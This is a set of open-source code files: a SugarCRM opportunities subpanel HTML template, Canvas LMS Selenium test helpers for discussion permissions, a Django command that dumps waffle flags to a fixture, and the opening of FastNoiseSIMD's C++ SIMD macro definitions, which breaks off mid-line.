/********************************************************************************* * {APP.LBL_CURRENCY_SYM}Header: /cvsroot/sugarcrm/sugarcrm/modules/Opportunities/SubPanelView.html,v 1.5 2004/06/16 17:49:36 sugarclint Exp {APP.LBL_CURRENCY_SYM} ********************************************************************************/ --> <!-- BEGIN: main --> <table cellpadding="0" cellspacing="0" width="100%" border="0" class="list view"> <tr height="20" > <td scope="col" scope="col" width="50%" ><slot>{MOD.LBL_LIST_OPPORTUNITY_NAME}</slot></td> <td scope="col" width="30%" ><slot>{MOD.LBL_LIST_ACCOUNT_NAME}</slot></td> <td scope="col" width="20%" ><slot>{MOD.LBL_LIST_DATE_CLOSED}</slot></td> <td scope="col" width="20%" ><slot>&nbsp;</slot></td> </tr> <!-- BEGIN: row --> <tr height="20" class="{ROW_COLOR}S1"> <td scope="row" valign=TOP><slot><a href="{URL_PREFIX}index.php?action=DetailView&module=Opportunities&record={OPPORTUNITY.ID}" >{OPPORTUNITY.NAME}</a></slot></td> <td valign=TOP><slot><a href="{URL_PREFIX}index.php?action=DetailView&module=Accounts&record={OPPORTUNITY.ACCOUNT_ID}" >{OPPORTUNITY.ACCOUNT_NAME}</A></slot></td> <td valign=TOP><slot>{OPPORTUNITY.DATE_CLOSED}</slot></td> <td nowrap align="center" valign=TOP><slot><a class="listViewTdToolsS1" href="{URL_PREFIX}index.php?action=EditView&module=Opportunities&record={OPPORTUNITY.ID}{RETURN_URL}">{EDIT_INLINE_PNG}</a>&nbsp;<a class="listViewTdToolsS1" href="{URL_PREFIX}index.php?action=EditView&module=Opportunities&record={OPPORTUNITY.ID}{RETURN_URL}">{APP.LNK_EDIT}</a></slot></td> </tr> <!-- END: row --> </table> <!-- END: main -->
matthewpoer/SuperSweetAdmin
modules/Opportunities/SubPanelView.html
HTML
agpl-3.0
3,658
# # Copyright (C) 2016 Instructure, Inc. # # This file is part of Canvas. # # Canvas is free software: you can redistribute it and/or modify it under # the terms of the GNU Affero General Public License as published by the Free # Software Foundation, version 3 of the License. # # Canvas is distributed in the hope that it will be useful, but WITHOUT ANY # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR # A PARTICULAR PURPOSE. See the GNU Affero General Public License for more # details. # # You should have received a copy of the GNU Affero General Public License along # with this program. If not, see <http://www.gnu.org/licenses/>. # require_relative '../common' shared_context "discussions_page_shared_context" do let(:unauthorized_message) { '#unauthorized_message' } let(:course_page) { "/courses/#{@course.id}" } let(:discussions_topic_page) { "/courses/#{@course.id}/discussion_topics" } let(:discussions_topic_detail_page) { "/courses/#{@course.id}/discussion_topics/#{@discussion_topic.id}" } let(:permissions_page) { "/account/#{@account.id}/permissions" } let(:discussion_link) { '.discussions' } let(:discussion_message) { '.message.user_content.enhanced:contains("Discussion 1 message")' } let(:discussion_edit_button) { '.btn.edit-btn' } let(:course_navigation_items) { '#section-tabs' } let(:discussions_link) { 'Discussions' } let(:discussion_container) { '#discussion_container' } let(:discussion_reply_button) { '.discussion-reply-action.discussion-reply-box' } end module DiscussionHelpers module SetupContext def setup_student_context let(:context_user) do course_with_student(course: @course, active_all: true, name: 'student1') @student end let(:context_role) { student_role } end def setup_teacher_context let(:context_user) do course_with_teacher(course: @course, active_all: true, name: 'teacher1') @teacher end let(:context_role) { teacher_role } end def setup_ta_context let(:context_user) do course_with_ta(course: @course, active_all: true, name: 'ta1') @ta end let(:context_role) { ta_role } end def setup_observer_context let(:context_user) do course_with_student(course: @course, active_all: true, name: 'student1') course_with_observer(course: @course, active_all: true, name: 'observer1', associated_user_id: @student.id) @observer end let(:context_role) { observer_role } end def setup_designer_context let(:context_user) do course_with_designer(course: @course, active_all: true, name: 'designer1') @designer end let(:context_role) { designer_role } end end class << self def create_discussion_topic(course, user, title, message, assignment = nil) course.discussion_topics.create!( user: user, title: title, message: message, assignment: assignment ) end def disable_view_discussions(course, context_role) course.root_account.role_overrides.create!(permission: 'read_forum', role: context_role, enabled: false) end def disable_moderate_discussions(course, context_role) course.root_account.role_overrides.create!(permission: 'moderate_forum', role: context_role, enabled: false) end def disable_post_to_discussions(course, context_role) course.root_account.role_overrides.create!(permission: 'post_to_forum', role: context_role, enabled: false) end def enable_view_discussions(course, context_role) course.root_account.role_overrides.create!(permission: 'read_forum', role: context_role, enabled: true) end def enable_moderate_discussions(course, context_role) course.root_account.role_overrides.create!(permission: 'moderate_forum', role: context_role, enabled: true) end def enable_post_to_discussions(course, context_role) course.root_account.role_overrides.create!(permission: 'post_to_forum', role: context_role, enabled: true) end end end
matematikk-mooc/canvas-lms
spec/selenium/discussions/discussion_helpers.rb
Ruby
agpl-3.0
4,717
#!/usr/bin/env python from django.core.management import call_command from django.core.management.base import BaseCommand class Command(BaseCommand): def handle(self, *args, **options): call_command( 'dumpdata', "waffle.flag", indent=4, use_natural_foreign_keys=True, use_natural_primary_keys=True, output='base/fixtures/waffle_flags.json' )
uclouvain/OSIS-Louvain
base/management/commands/dump_waffle_flags.py
Python
agpl-3.0
436
// FastNoiseSIMD_internal.cpp // // MIT License // // Copyright(c) 2017 Jordan Peck // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files(the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and / or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions : // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. // // The developer's email is jorzixdan.me2@gzixmail.com (for great email, take // off every 'zix'.) // #include "FastNoiseSIMD.h" #include <assert.h> #if defined(SIMD_LEVEL) || defined(FN_COMPILE_NO_SIMD_FALLBACK) #ifndef SIMD_LEVEL #define SIMD_LEVEL FN_NO_SIMD_FALLBACK #define SIMD_LEVEL_H FN_NO_SIMD_FALLBACK #include "FastNoiseSIMD_internal.h" #include <math.h> #define FN_ALIGNED_SETS #endif // Per SIMD level var/function naming #define L_VAR2(x, l) L##l##_##x #define L_VAR(x, l) L_VAR2(x, l) #define VAR(x) L_VAR(x, SIMD_LEVEL) #define FUNC(x) VAR(FUNC_##x) #define SIMDf_NUM(n) VAR(SIMDf_NUM_##n) #define SIMDi_NUM(n) VAR(SIMDi_NUM_##n) #define SIMD_LEVEL_CLASS FastNoiseSIMD_internal::FASTNOISE_SIMD_CLASS(SIMD_LEVEL) #if defined(_WIN32) && SIMD_LEVEL > FN_NO_SIMD_FALLBACK #define VECTORCALL __vectorcall #else #define VECTORCALL #endif // Typedefs #if SIMD_LEVEL == FN_NEON #define VECTOR_SIZE 4 #define MEMORY_ALIGNMENT 16 typedef float32x4_t SIMDf; typedef int32x4_t SIMDi; #define SIMDf_SET(a) vdupq_n_f32(a) #define SIMDf_SET_ZERO() vdupq_n_f32(0) #define SIMDi_SET(a) vdupq_n_s32(a) #define SIMDi_SET_ZERO() vdupq_n_s32(0) #elif SIMD_LEVEL == FN_AVX512 #define VECTOR_SIZE 16 #define MEMORY_ALIGNMENT 64 typedef __m512 SIMDf; typedef __m512i SIMDi; #define SIMDf_SET(a) _mm512_set1_ps(a) #define SIMDf_SET_ZERO() _mm512_setzero_ps() #define SIMDi_SET(a) _mm512_set1_epi32(a) #define SIMDi_SET_ZERO() _mm512_setzero_si512() #elif SIMD_LEVEL == FN_AVX2 #define VECTOR_SIZE 8 #define MEMORY_ALIGNMENT 32 typedef __m256 SIMDf; typedef __m256i SIMDi; #define SIMDf_SET(a) _mm256_set1_ps(a) #define SIMDf_SET_ZERO() _mm256_setzero_ps() #define SIMDi_SET(a) _mm256_set1_epi32(a) #define SIMDi_SET_ZERO() _mm256_setzero_si256() #elif SIMD_LEVEL >= FN_SSE2 #define VECTOR_SIZE 4 #define MEMORY_ALIGNMENT 16 typedef __m128 SIMDf; typedef __m128i SIMDi; #define SIMDf_SET(a) _mm_set1_ps(a) #define SIMDf_SET_ZERO() _mm_setzero_ps() #define SIMDi_SET(a) _mm_set1_epi32(a) #define SIMDi_SET_ZERO() _mm_setzero_si128() #else // Fallback to float/int #define VECTOR_SIZE 1 #define MEMORY_ALIGNMENT 4 typedef float SIMDf; typedef int SIMDi; #define SIMDf_SET(a) (a) #define SIMDf_SET_ZERO() (0) #define SIMDi_SET(a) (a) #define SIMDi_SET_ZERO() (0) #endif // Memory Allocation #if SIMD_LEVEL > FN_NO_SIMD_FALLBACK && defined(FN_ALIGNED_SETS) #ifdef _WIN32 #define SIMD_ALLOCATE_SET(floatP, floatCount) floatP = (float*)_aligned_malloc((floatCount)* sizeof(float), MEMORY_ALIGNMENT) #else #define SIMD_ALLOCATE_SET(floatP, floatCount) posix_memalign((void**)&floatP, MEMORY_ALIGNMENT, (floatCount)* sizeof(float)) #endif #else #define SIMD_ALLOCATE_SET(floatP, floatCount) floatP = new float[floatCount] #endif union uSIMDf { SIMDf m; float a[VECTOR_SIZE]; }; union uSIMDi { SIMDi m; int a[VECTOR_SIZE]; }; #if SIMD_LEVEL == FN_AVX512 typedef __mmask16 MASK; #else typedef SIMDi MASK; #endif static SIMDi SIMDi_NUM(0xffffffff); static SIMDf SIMDf_NUM(1); // SIMD functions #if SIMD_LEVEL == FN_NEON #define SIMDf_STORE(p,a) vst1q_f32(p, a) #define SIMDf_LOAD(p) vld1q_f32(p) #define SIMDf_UNDEFINED() SIMDf_SET(0) #define SIMDi_UNDEFINED() SIMDi_SET(0) #define SIMDf_CONVERT_TO_FLOAT(a) vcvtq_f32_s32(a) #define SIMDf_CAST_TO_FLOAT(a) vreinterpretq_f32_s32(a) #define SIMDi_CONVERT_TO_INT(a) vcvtq_s32_f32(a) #define SIMDi_CAST_TO_INT(a) vreinterpretq_s32_f32(a) #define SIMDf_ADD(a,b) vaddq_f32(a,b) #define SIMDf_SUB(a,b) vsubq_f32(a,b) #define SIMDf_MUL(a,b) vmulq_f32(a,b) #define SIMDf_DIV(a,b) FUNC(DIV)(a,b) static SIMDf VECTORCALL FUNC(DIV)(SIMDf a, SIMDf b) { SIMDf reciprocal = vrecpeq_f32(b); // use a couple Newton-Raphson steps to refine the estimate. Depending on your // application's accuracy requirements, you may be able to get away with only // one refinement (instead of the two used here). Be sure to test! reciprocal = vmulq_f32(vrecpsq_f32(b, reciprocal), reciprocal); // and finally, compute a/b = a*(1/b) return vmulq_f32(a, reciprocal); } #define SIMDf_MIN(a,b) vminq_f32(a,b) #define SIMDf_MAX(a,b) vmaxq_f32(a,b) #define SIMDf_INV_SQRT(a) vrsqrteq_f32(a) #define SIMDf_LESS_THAN(a,b) vreinterpretq_f32_u32(vcltq_f32(a,b)) #define SIMDf_GREATER_THAN(a,b) vreinterpretq_f32_u32(vcgtq_f32(a,b)) #define SIMDf_LESS_EQUAL(a,b) vreinterpretq_f32_u32(vcleq_f32(a,b)) #define SIMDf_GREATER_EQUAL(a,b) vreinterpretq_f32_u32(vcgeq_f32(a,b)) #define SIMDf_AND(a,b) SIMDf_CAST_TO_FLOAT(vandq_s32(vreinterpretq_s32_f32(a),vreinterpretq_s32_f32(b))) #define SIMDf_AND_NOT(a,b) SIMDf_CAST_TO_FLOAT(vandq_s32(vmvnq_s32(vreinterpretq_s32_f32(a)),vreinterpretq_s32_f32(b))) #define SIMDf_XOR(a,b) SIMDf_CAST_TO_FLOAT(veorq_s32(vreinterpretq_s32_f32(a),vreinterpretq_s32_f32(b))) #ifndef __aarch64__ static SIMDf VECTORCALL FUNC(FLOOR)(SIMDf a) { SIMDf fval = SIMDf_CONVERT_TO_FLOAT(SIMDi_CONVERT_TO_INT(a)); return vsubq_f32(fval, SIMDf_AND(SIMDf_LESS_THAN(a, fval), SIMDf_NUM(1))); } #define SIMDf_FLOOR(a) FUNC(FLOOR)(a) #else #define SIMDf_FLOOR(a) vrndmq_f32(a) #endif #define SIMDf_ABS(a) vabsq_f32(a) #define SIMDf_BLENDV(a,b,mask) vbslq_f32(mask,b,a) #define SIMDi_ADD(a,b) vaddq_s32(a,b) #define SIMDi_SUB(a,b) vsubq_s32(a,b) #define SIMDi_MUL(a,b) vmulq_s32(a,b) #define SIMDi_AND(a,b) vandq_s32(a,b) #define SIMDi_AND_NOT(a,b) vandq_s32(vmvnq_s32(a),b) #define SIMDi_OR(a,b) vorrq_s32(a,b) #define SIMDi_XOR(a,b) veorq_s32(a,b) #define SIMDi_NOT(a) vmvnq_s32(a) #define SIMDi_SHIFT_R(a, b) vshrq_n_s32(a, b) #define SIMDi_SHIFT_L(a, b) vshlq_n_s32(a, b) #define SIMDi_VSHIFT_L(a, b) vshlq_s32(a, b) #define SIMDi_EQUAL(a,b) vreinterpretq_s32_u32(vceqq_s32(a,b)) #define SIMDi_GREATER_THAN(a,b) vreinterpretq_s32_u32(vcgtq_s32(a,b)) #define SIMDi_LESS_THAN(a,b) vreinterpretq_s32_u32(vcltq_s32(a,b)) #elif SIMD_LEVEL == FN_AVX512 #ifdef FN_ALIGNED_SETS #define SIMDf_STORE(p,a) _mm512_store_ps(p,a) #define SIMDf_LOAD(p) _mm512_load_ps(p) #else #define SIMDf_STORE(p,a) _mm512_storeu_ps(p,a) #define SIMDf_LOAD(p) _mm512_loadu_ps(p) #endif #define SIMDf_UNDEFINED() _mm512_undefined_ps() #define SIMDi_UNDEFINED() _mm512_undefined_epi32() #define SIMDf_ADD(a,b) _mm512_add_ps(a,b) #define SIMDf_SUB(a,b) _mm512_sub_ps(a,b) #define SIMDf_MUL(a,b) _mm512_mul_ps(a,b) #define SIMDf_DIV(a,b) _mm512_div_ps(a,b) #define SIMDf_MIN(a,b) _mm512_min_ps(a,b) #define SIMDf_MAX(a,b) _mm512_max_ps(a,b) #define SIMDf_INV_SQRT(a) _mm512_rsqrt14_ps(a) #define SIMDf_LESS_THAN(a,b) _mm512_cmp_ps_mask(a,b,_CMP_LT_OQ) #define SIMDf_GREATER_THAN(a,b) _mm512_cmp_ps_mask(a,b,_CMP_GT_OQ) #define SIMDf_LESS_EQUAL(a,b) _mm512_cmp_ps_mask(a,b,_CMP_LE_OQ) #define SIMDf_GREATER_EQUAL(a,b) _mm512_cmp_ps_mask(a,b,_CMP_GE_OQ) #define SIMDf_AND(a,b) _mm512_and_ps(a,b) #define SIMDf_AND_NOT(a,b) _mm512_andnot_ps(a,b) #define SIMDf_XOR(a,b) _mm512_xor_ps(a,b) #define SIMDf_FLOOR(a) _mm512_floor_ps(a) #define SIMDf_ABS(a) _mm512_abs_ps(a) #define SIMDf_BLENDV(a,b,mask) _mm512_mask_blend_ps(mask,a,b) #define SIMDf_GATHER(p,a) _mm512_i32gather_ps(a,p,4) #define SIMDf_PERMUTE(a,b) _mm512_permutexvar_ps(b,a) #define SIMDi_ADD(a,b) _mm512_add_epi32(a,b) #define SIMDi_SUB(a,b) _mm512_sub_epi32(a,b) #define SIMDi_MUL(a,b) _mm512_mullo_epi32(a,b) #define SIMDi_AND(a,b) _mm512_and_si512(a,b) #define SIMDi_AND_NOT(a,b) _mm512_andnot_si512(a,b) #define SIMDi_OR(a,b) _mm512_or_si512(a,b) #define SIMDi_XOR(a,b) _mm512_xor_si512(a,b) #define SIMDi_NOT(a) SIMDi_XOR(a,SIMDi_NUM(0xffffffff)) #define SIMDi_SHIFT_R(a, b) _mm512_srai_epi32(a, b) #define SIMDi_SHIFT_L(a, b) _mm512_slli_epi32(a, b) #define SIMDi_VSHIFT_R(a,b) _mm512_srl_epi32(a, b) #define SIMDi_VSHIFT_L(a,b) _mm512_sll_epi32(a, b) #define SIMDi_EQUAL(a,b) _mm512_cmpeq_epi32_mask(a,b) #define SIMDi_GREATER_THAN(a,b) _mm512_cmpgt_epi32_mask(a,b) #define SIMDi_LESS_THAN(a,b) _mm512_cmpgt_epi32_mask(b,a) #define SIMDf_CONVERT_TO_FLOAT(a) _mm512_cvtepi32_ps(a) #define SIMDf_CAST_TO_FLOAT(a) _mm512_castsi512_ps(a) #define SIMDi_CONVERT_TO_INT(a) _mm512_cvtps_epi32(a) #define SIMDi_CAST_TO_INT(a) _mm512_castps_si512(a) #elif SIMD_LEVEL == FN_AVX2 #ifdef FN_ALIGNED_SETS #define SIMDf_STORE(p,a) _mm256_store_ps(p,a) #define SIMDf_LOAD(p) _mm256_load_ps(p) #else #define SIMDf_STORE(p,a) _mm256_storeu_ps(p,a) #define SIMDf_LOAD(p) _mm256_loadu_ps(p) #endif #define SIMDf_UNDEFINED() _mm256_undefined_ps() #define SIMDi_UNDEFINED() _mm256_undefined_si256() #define SIMDf_CONVERT_TO_FLOAT(a) _mm256_cvtepi32_ps(a) #define SIMDf_CAST_TO_FLOAT(a) _mm256_castsi256_ps(a) #define SIMDi_CONVERT_TO_INT(a) _mm256_cvtps_epi32(a) #define SIMDi_CAST_TO_INT(a) _mm256_castps_si256(a) #define SIMDf_ADD(a,b) _mm256_add_ps(a,b) #define SIMDf_SUB(a,b) _mm256_sub_ps(a,b) #define SIMDf_MUL(a,b) _mm256_mul_ps(a,b) #define SIMDf_DIV(a,b) _mm256_div_ps(a,b) #define SIMDf_MIN(a,b) _mm256_min_ps(a,b) #define SIMDf_MAX(a,b) _mm256_max_ps(a,b) #define SIMDf_INV_SQRT(a) _mm256_rsqrt_ps(a) #define SIMDf_LESS_THAN(a,b) SIMDi_CAST_TO_INT(_mm256_cmp_ps(a,b,_CMP_LT_OQ)) #define SIMDf_GREATER_THAN(a,b) SIMDi_CAST_TO_INT(_mm256_cmp_ps(a,b,_CMP_GT_OQ)) #define SIMDf_LESS_EQUAL(a,b) SIMDi_CAST_TO_INT(_mm256_cmp_ps(a,b,_CMP_LE_OQ)) #define SIMDf_GREATER_EQUAL(a,b) SIMDi_CAST_TO_INT( _mm256_cmp_ps(a,b,_CMP_GE_OQ)) #define SIMDf_AND(a,b) _mm256_and_ps(a,b) #define SIMDf_AND_NOT(a,b) _mm256_andnot_ps(a,b) #define SIMDf_XOR(a,b) _mm256_xor_ps(a,b) #define SIMDf_FLOOR(a) _mm256_floor_ps(a) #define SIMDf_ABS(a) SIMDf_AND(a,SIMDf_CAST_TO_FLOAT(SIMDi_NUM(0x7fffffff))) #define SIMDf_BLENDV(a,b,mask) _mm256_blendv_ps(a,b,SIMDf_CAST_TO_FLOAT(mask)) #define SIMDf_PERMUTE(a,b) _mm256_permutevar8x32_ps(a,b) #define SIMDi_ADD(a,b) _mm256_add_epi32(a,b) #define SIMDi_SUB(a,b) _mm256_sub_epi32(a,b) #define SIMDi_MUL(a,b) _mm256_mullo_epi32(a,b) #define SIMDi_AND(a,b) _mm256_and_si256(a,b) #define SIMDi_AND_NOT(a,b) _mm256_andnot_si256(a,b) #define SIMDi_OR(a,b) _mm256_or_si256(a,b) #define SIMDi_XOR(a,b) _mm256_xor_si256(a,b) #define SIMDi_NOT(a) SIMDi_XOR(a,SIMDi_NUM(0xffffffff)) #define SIMDi_SHIFT_R(a, b) _mm256_srai_epi32(a, b) #define SIMDi_SHIFT_L(a, b) _mm256_slli_epi32(a, b) #define SIMDi_EQUAL(a,b) _mm256_cmpeq_epi32(a,b) #define SIMDi_GREATER_THAN(a,b) _mm256_cmpgt_epi32(a,b) #define SIMDi_LESS_THAN(a,b) _mm256_cmpgt_epi32(b,a) #elif SIMD_LEVEL >= FN_SSE2 #ifdef FN_ALIGNED_SETS #define SIMDf_STORE(p,a) _mm_store_ps(p,a) #define SIMDf_LOAD(p) _mm_load_ps(p) #else #define SIMDf_STORE(p,a) _mm_storeu_ps(p,a) #define SIMDf_LOAD(p) _mm_loadu_ps(p) #endif #define SIMDf_UNDEFINED() SIMDf_SET_ZERO() #define SIMDi_UNDEFINED() SIMDi_SET_ZERO() #define SIMDf_CONVERT_TO_FLOAT(a) _mm_cvtepi32_ps(a) #define SIMDf_CAST_TO_FLOAT(a) _mm_castsi128_ps(a) #define SIMDi_CONVERT_TO_INT(a) _mm_cvtps_epi32(a) #define SIMDi_CAST_TO_INT(a) _mm_castps_si128(a) #define SIMDf_ADD(a,b) _mm_add_ps(a,b) #define SIMDf_SUB(a,b) _mm_sub_ps(a,b) #define SIMDf_MUL(a,b) _mm_mul_ps(a,b) #define SIMDf_DIV(a,b) _mm_div_ps(a,b) #define SIMDf_MIN(a,b) _mm_min_ps(a,b) #define SIMDf_MAX(a,b) _mm_max_ps(a,b) #define SIMDf_INV_SQRT(a) _mm_rsqrt_ps(a) #define SIMDf_LESS_THAN(a,b) SIMDi_CAST_TO_INT(_mm_cmplt_ps(a,b)) #define SIMDf_GREATER_THAN(a,b) SIMDi_CAST_TO_INT(_mm_cmpgt_ps(a,b)) #define SIMDf_LESS_EQUAL(a,b) SIMDi_CAST_TO_INT(_mm_cmple_ps(a,b)) #define SIMDf_GREATER_EQUAL(a,b) SIMDi_CAST_TO_INT(_mm_cmpge_ps(a,b)) #define SIMDf_AND(a,b) _mm_and_ps(a,b) #define SIMDf_AND_NOT(a,b) _mm_andnot_ps(a,b) #define SIMDf_XOR(a,b) _mm_xor_ps(a,b) #define SIMDf_ABS(a) SIMDf_AND(a,SIMDf_CAST_TO_FLOAT(SIMDi_NUM(0x7fffffff))) #if SIMD_LEVEL == FN_SSE41 #define SIMDi_MUL(a,b) _mm_mullo_epi32(a,b) #define SIMDf_FLOOR(a) _mm_floor_ps(a) #define SIMDf_BLENDV(a,b,mask) _mm_blendv_ps(a,b,SIMDf_CAST_TO_FLOAT(mask)) #else static SIMDi VECTORCALL FUNC(MUL)(SIMDi a, SIMDi b) { __m128 tmp1 = _mm_castsi128_ps(_mm_mul_epu32(a, b)); /* mul 2,0*/ __m128 tmp2 = _mm_castsi128_ps(_mm_mul_epu32(_mm_srli_si128(a, 4), _mm_srli_si128(b, 4))); /* mul 3,1 */ return _mm_shuffle_epi32(_mm_castps_si128(_mm_shuffle_ps(tmp1, tmp2, _MM_SHUFFLE(2, 0, 2, 0))), _MM_SHUFFLE(3, 1, 2, 0)); } #define SIMDi_MUL(a,b) FUNC(MUL)(a,b) static SIMDf VECTORCALL FUNC(FLOOR)(SIMDf a) { __m128 fval = _mm_cvtepi32_ps(_mm_cvttps_epi32(a)); return _mm_sub_ps(fval, _mm_and_ps(_mm_cmplt_ps(a, fval), SIMDf_NUM(1))); } #define SIMDf_FLOOR(a) FUNC(FLOOR)(a) #define SIMDf_BLENDV(a,b,mask) _mm_or_ps(_mm_andnot_ps(SIMDf_CAST_TO_FLOAT(mask), a), _mm_and_ps(SIMDf_CAST_TO_FLOAT(mask), b)) #endif #define SIMDi_ADD(a,b) _mm_add_epi32(a,b) #define SIMDi_SUB(a,b) _mm_sub_epi32(a,b) #define SIMDi_AND(a,b) _mm_and_si128(a,b) #define SIMDi_AND_NOT(a,b) _mm_andnot_si128(a,b) #define SIMDi_OR(a,b) _mm_or_si128(a,b) #define SIMDi_XOR(a,b) _mm_xor_si128(a,b) #define SIMDi_NOT(a) SIMDi_XOR(a,SIMDi_NUM(0xffffffff)) #define SIMDi_SHIFT_R(a,b) _mm_srai_epi32(a, b) #define SIMDi_SHIFT_L(a,b) _mm_slli_epi32(a, b) #define SIMDi_EQUAL(a,b) _mm_cmpeq_epi32(a,b) #define SIMDi_GREATER_THAN(a,b) _mm_cmpgt_epi32(a,b) #define SIMDi_LESS_THAN(a,b) _mm_cmpgt_epi32(b,a) #else // Fallback static int FUNC(CAST_TO_INT)(float f) { return *reinterpret_cast<int*>(&f); } static float FUNC(CAST_TO_FLOAT)(int i) { return *reinterpret_cast<float*>(&i); } #define SIMDi_CAST_TO_INT(a) FUNC(CAST_TO_INT)(a) #define SIMDf_CAST_TO_FLOAT(a) FUNC(CAST_TO_FLOAT)(a) #define SIMDf_STORE(p,a) (*(p) = a) #define SIMDf_LOAD(p) (*p) #define SIMDf_UNDEFINED() (0) #define SIMDi_UNDEFINED() (0) #define SIMDf_ADD(a,b) ((a) + (b)) #define SIMDf_SUB(a,b) ((a) - (b)) #define SIMDf_MUL(a,b) ((a) * (b)) #define SIMDf_DIV(a,b) ((a) / (b)) #define SIMDf_MIN(a,b) fminf(a,b) #define SIMDf_MAX(a,b) fmaxf(a,b) static float FUNC(INV_SQRT)(float x) { float xhalf = 0.5f * x; int i = *(int*)&x; i = 0x5f3759df - (i >> 1); x = *(float*)&i; x = x*(1.5f - xhalf*x*x); return x; } #define SIMDf_INV_SQRT(a) FUNC(INV_SQRT)(a) #define SIMDf_LESS_THAN(a,b) (((a) < (b)) ? 0xFFFFFFFF : 0) #define SIMDf_GREATER_THAN(a,b) (((a) > (b)) ? 0xFFFFFFFF : 0) #define SIMDf_LESS_EQUAL(a,b) (((a) <= (b)) ? 0xFFFFFFFF : 0) #define SIMDf_GREATER_EQUAL(a,b) (((a) >= (b)) ? 0xFFFFFFFF : 0) #define SIMDf_AND(a,b) SIMDf_CAST_TO_FLOAT(SIMDi_CAST_TO_INT(a) & SIMDi_CAST_TO_INT(b)) #define SIMDf_AND_NOT(a,b) SIMDf_CAST_TO_FLOAT(~SIMDi_CAST_TO_INT(a) & SIMDi_CAST_TO_INT(b)) #define SIMDf_XOR(a,b) SIMDf_CAST_TO_FLOAT(SIMDi_CAST_TO_INT(a) ^ SIMDi_CAST_TO_INT(b)) #define SIMDf_FLOOR(a) floorf(a) #define SIMDf_ABS(a) fabsf(a) #define SIMDf_BLENDV(a,b,mask) (mask ? (b) : (a)) #define SIMDf_GATHER(p,a) (*(reinterpret_cast<const float*>(p)+(a))) #define SIMDi_ADD(a,b) ((a) + (b)) #define SIMDi_SUB(a,b) ((a) - (b)) #define SIMDi_MUL(a,b) ((a) * (b)) #define SIMDi_AND(a,b) ((a) & (b)) #define SIMDi_AND_NOT(a,b) (~(a) & (b)) #define SIMDi_OR(a,b) ((a) | (b)) #define SIMDi_XOR(a,b) ((a) ^ (b)) #define SIMDi_NOT(a) (~(a)) #define SIMDi_SHIFT_R(a, b) ((a) >> (b)) #define SIMDi_SHIFT_L(a, b) ((a) << (b)) #define SIMDi_EQUAL(a,b) (((a) == (b)) ? 0xFFFFFFFF : 0) #define SIMDi_GREATER_THAN(a,b) (((a) > (b)) ? 0xFFFFFFFF : 0) #define SIMDi_LESS_THAN(a,b) (((a) < (b)) ? 0xFFFFFFFF : 0) #define SIMDi_CONVERT_TO_INT(a) static_cast<int>(roundf(a)) #define SIMDf_CONVERT_TO_FLOAT(a) static_cast<float>(a) #endif //#define SIMDf_SIGN_FLIP(a) SIMDf_XOR(a,SIMDf_NUM(neg0))) //#define SIMDi_GREATER_EQUAL(a,b) SIMDi_NOT(SIMDi_LESS_THAN(a,b)) //#define SIMDi_LESS_EQUAL(a,b) SIMDi_NOT(SIMDi_GREATER_THAN(a,b)) //#define SIMDi_BLENDV(a,b, mask) SIMDi_CAST_TO_INT(SIMDf_BLENDV(SIMDf_CAST_TO_FLOAT(a),SIMDf_CAST_TO_FLOAT(b),SIMDf_CAST_TO_FLOAT(mask))) #if SIMD_LEVEL == FN_AVX512 #define MASK_OR(a,b) ((a)|(b)) #define MASK_AND(a,b) ((a)&(b)) #define MASK_AND_NOT(a,b) (~(a)&(b)) #define MASK_NOT(a) (~(a)) #define SIMDf_MASK(m,a) _mm512_maskz_mov_ps(m,a) #define SIMDf_MASK_ADD(m,a,b) _mm512_mask_add_ps(a,m,a,b) #define SIMDf_MASK_SUB(m,a,b) _mm512_mask_sub_ps(a,m,a,b) #define SIMDi_MASK_ADD(m,a,b) _mm512_mask_add_epi32(a,m,a,b) #define SIMDi_MASK_SUB(m,a,b) _mm512_mask_sub_epi32(a,m,a,b) #else #define MASK_OR(a,b) SIMDi_OR(a,b) #define MASK_AND(a,b) SIMDi_AND(a,b) #define MASK_AND_NOT(a,b) SIMDi_AND_NOT(a,b) #define MASK_NOT(a) SIMDi_NOT(a) #define SIMDf_MASK(m,a) SIMDf_AND(SIMDf_CAST_TO_FLOAT(m),a) #define SIMDf_MASK_ADD(m,a,b) SIMDf_ADD(a,SIMDf_AND(SIMDf_CAST_TO_FLOAT(m),b)) #define SIMDf_MASK_SUB(m,a,b) SIMDf_SUB(a,SIMDf_AND(SIMDf_CAST_TO_FLOAT(m),b)) #define SIMDi_MASK_ADD(m,a,b) SIMDi_ADD(a,SIMDi_AND(m,b)) #define SIMDi_MASK_SUB(m,a,b) SIMDi_SUB(a,SIMDi_AND(m,b)) #endif #if SIMD_LEVEL == FN_AVX512 #elif SIMD_LEVEL == FN_NEON #elif SIMD_LEVEL == FN_NO_SIMD_FALLBACK #else #endif #if SIMD_LEVEL == FN_AVX2 #define SIMD_ZERO_ALL() //_mm256_zeroall() #else #define SIMD_ZERO_ALL() #endif // FMA #ifdef FN_USE_FMA #if SIMD_LEVEL == FN_NEON #define SIMDf_MUL_ADD(a,b,c) vmlaq_f32(b,c,a) #define SIMDf_MUL_SUB(a,b,c) SIMDf_SUB(SIMDf_MUL(a,b),c) // Neon multiply sub swaps sides of minus compared to FMA making it unusable #define SIMDf_NMUL_ADD(a,b,c) vmlaq_f32(b,c,a) #elif SIMD_LEVEL == FN_AVX512 #define SIMDf_MUL_ADD(a,b,c) _mm512_fmadd_ps(a,b,c) #define SIMDf_MUL_SUB(a,b,c) _mm512_fmsub_ps(a,b,c) #define SIMDf_NMUL_ADD(a,b,c) _mm512_fnmadd_ps(a,b,c) #elif SIMD_LEVEL == FN_AVX2 #define 